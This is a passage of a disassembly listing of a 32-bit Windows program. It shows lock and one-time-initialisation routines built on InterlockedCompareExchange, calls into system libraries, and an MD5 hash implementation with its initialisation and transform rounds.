		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433194
		push	esi
		push	ecx
		call	sub_4021EE
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433194:				; CODE XREF: sub_433160+17j
		test	eax, eax
		jnz	short loc_43319D
		mov	esi, 16h


loc_43319D:				; CODE XREF: sub_433160+36j
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_433160	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4331D0	proc near		; CODE XREF: sub_4021EEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4331EE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4331EE:				; CODE XREF: sub_4331D0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C26
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_433229
		mov	[esp+14h+var_4], 1


loc_43320B:				; CODE XREF: sub_4331D0+5Ej
					; sub_4331D0+63j
		push	8
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433240
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_433229:				; CODE XREF: sub_4331D0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_43320B
		cmp	ebx, 1
		jnz	short loc_43320B
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: sub_4331D0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43325D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: sub_4331D0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A0F
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433293
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_433293
		mov	dword ptr [esi], 3


loc_433293:				; CODE XREF: sub_4331D0+9Ej
					; sub_4331D0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_4332AF
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4332AF:				; CODE XREF: sub_4331D0+D2j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4331D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433310:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4333B5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4333B5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_433378
		cmp	dword ptr [esi], 3
		jnz	short loc_43335D
		lea	eax, [esi+4]
		push	eax
		call	sub_40222F
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4333AF


loc_433347:				; CODE XREF: ___:0043336Bj
		push	esi
		mov	dword ptr [edi], 0
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43335D:				; CODE XREF: ___:00433333j
		push	1
		push	0
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_433347
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433378:				; CODE XREF: ___:0043332Ej
		push	offset dword_50E980
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43339F
		push	offset dword_50E980
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43339F:				; CODE XREF: ___:00433386j
		push	offset dword_50E980
		mov	ebx, 10h
		nop
		call	near ptr 7C9010EDh


loc_4333AF:				; CODE XREF: ___:00433345j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4333B5:				; CODE XREF: ___:0043331Bj
					; ___:00433325j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333F0:				; CODE XREF: ___:004021C1j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433451
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_433451
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433411
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_433456


loc_433411:				; CODE XREF: ___:00433402j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_433433


loc_433423:				; CODE XREF: ___:00433431j
		push	1
		push	2
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_433423


loc_433433:				; CODE XREF: ___:00433421j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43343E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43343E:				; CODE XREF: ___:00433438j
		cmp	eax, 3
		jnz	short loc_433451
		add	esi, 4
		push	esi
		call	sub_402225
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433451:				; CODE XREF: ___:004333F7j
					; ___:004333FDj ...
		mov	eax, 16h


loc_433456:				; CODE XREF: ___:0043340Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433480:				; CODE XREF: ___:00401AA5j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4334C1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4334C1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43349B


loc_433494:				; CODE XREF: ___:004334A7j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43349B:				; CODE XREF: ___:00433492j
		push	2
		push	1
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_433494
		dec	eax
		jz	short loc_4334BD
		dec	eax
		jnz	short loc_4334C1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334BD:				; CODE XREF: ___:004334AAj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334C1:				; CODE XREF: ___:00433487j
					; ___:0043348Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:00401933j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433540
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_433540
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433511
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_433545


loc_433511:				; CODE XREF: ___:00433502j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43353C
		dec	eax
		jz	short loc_433535
		dec	eax
		jnz	short loc_433540
		add	esi, 4
		push	esi
		call	sub_40177B
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433535:				; CODE XREF: ___:00433522j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43353C:				; CODE XREF: ___:0043351Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433540:				; CODE XREF: ___:004334F7j
					; ___:004334FDj ...
		mov	eax, 16h


loc_433545:				; CODE XREF: ___:0043350Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433570:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43359C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_433597
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433597:				; CODE XREF: ___:0043358Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43359C:				; CODE XREF: ___:00433582j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4335B0	proc near		; CODE XREF: sub_40175Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43363C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4335D4
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335D4:				; CODE XREF: sub_4335B0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_4335ED
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335ED:				; CODE XREF: sub_4335B0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4335FD
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335FD:				; CODE XREF: sub_4335B0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 2FD651E8h, 0C0859002h, 0E8560E74h, 0FFFCE181h, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43363C:				; CODE XREF: sub_4335B0+12j
		pop	esi
		retn
sub_4335B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433670	proc near		; CODE XREF: sub_4015FFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433695
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433695:				; CODE XREF: sub_433670+15j
		call	near ptr 27308BFh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4336BE
		push	esi
		mov	edi, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4336BE:				; CODE XREF: sub_433670+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4336DB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4336DB:				; CODE XREF: sub_433670+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_433670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433710	proc near		; CODE XREF: sub_401AA0j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_4337A0
		cmp	[ebx+0Ch], ebp
		jz	short loc_43377C
		cmp	[ebx+4], ebp
		jz	short loc_43377C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43377C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_43376F
		push	edi


loc_433743:				; CODE XREF: sub_433710+5Cj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43376A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_43376A:				; CODE XREF: sub_433710+3Ej
		cmp	esi, ebp
		jnz	short loc_433743
		pop	edi


loc_43376F:				; CODE XREF: sub_433710+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_43377C:				; CODE XREF: sub_433710+13j
					; sub_433710+18j ...
		mov	eax, [ebx]
		push	eax
		call	near ptr 2730000h
		nop
		cmp	[ebx+4], ebp
		jz	short loc_433796
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_40222F
		add	esp, 4


loc_433796:				; CODE XREF: sub_433710+78j
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4337A0:				; CODE XREF: sub_433710+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_433710	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4337E0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_50E3E8
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_433804
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_433813
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433804:				; CODE XREF: sub_4337E0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_433813
		mov	eax, ebx


loc_433813:				; CODE XREF: sub_4337E0+1Aj
					; sub_4337E0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_433875
		test	eax, eax
		jz	short loc_433862
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_433862
		test	ebx, ebx
		jz	short loc_433862
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_43384D


loc_433837:				; CODE XREF: sub_4337E0+65j
		cmp	[ecx+8], esi
		jz	short loc_433849
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_433837
		jmp	short loc_43384D
; ---------------------------------------------------------------------------


loc_433849:				; CODE XREF: sub_4337E0+5Aj
		test	ecx, ecx
		jnz	short loc_433862


loc_43384D:				; CODE XREF: sub_4337E0+55j
					; sub_4337E0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DC5
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_433875


loc_433862:				; CODE XREF: sub_4337E0+3Cj
					; sub_4337E0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		nop
		call	near ptr 2750000h
		test	eax, eax
		jnz	short loc_433875
		mov	edi, 0Bh


loc_433875:				; CODE XREF: sub_4337E0+38j
					; sub_4337E0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4337E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4338B0	proc near		; CODE XREF: sub_401190j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	near ptr 27B0896h
		nop
		mov	esi, eax
		call	sub_436F5A
		mov	edi, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 2720A77h
		push	esi
		mov	ebx, eax
		call	near ptr 2720C16h
		nop
		push	edi
		call	sub_436FA2
sub_4338B0	endp

; ---------------------------------------------------------------------------
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433900	proc near		; CODE XREF: sub_401A55j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_433900	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433940	proc near		; CODE XREF: sub_401C12j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_43396B
		inc	dword ptr [esi+14h]


loc_43396B:				; CODE XREF: sub_433940+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_4339C9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_434740
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_433AB0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_4339C5


loc_4339A9:				; CODE XREF: sub_433940+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_433AB0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_4339A9


loc_4339C5:				; CODE XREF: sub_433940+67j
		xor	eax, eax
		jmp	short loc_4339CB
; ---------------------------------------------------------------------------


loc_4339C9:				; CODE XREF: sub_433940+41j
		xor	ebp, ebp


loc_4339CB:				; CODE XREF: sub_433940+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_434740
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_433940	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433A20	proc near		; CODE XREF: sub_402158j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_434660
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_433A53
		mov	ecx, 78h


loc_433A53:				; CODE XREF: sub_433A20+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA	; ""
		push	edi
		call	sub_401C12
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C12
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_434660
		push	58h
		push	0
		push	edi
		call	sub_434770
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_433A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433AB0	proc near		; CODE XREF: sub_433940+58p
					; sub_433940+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4346D0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
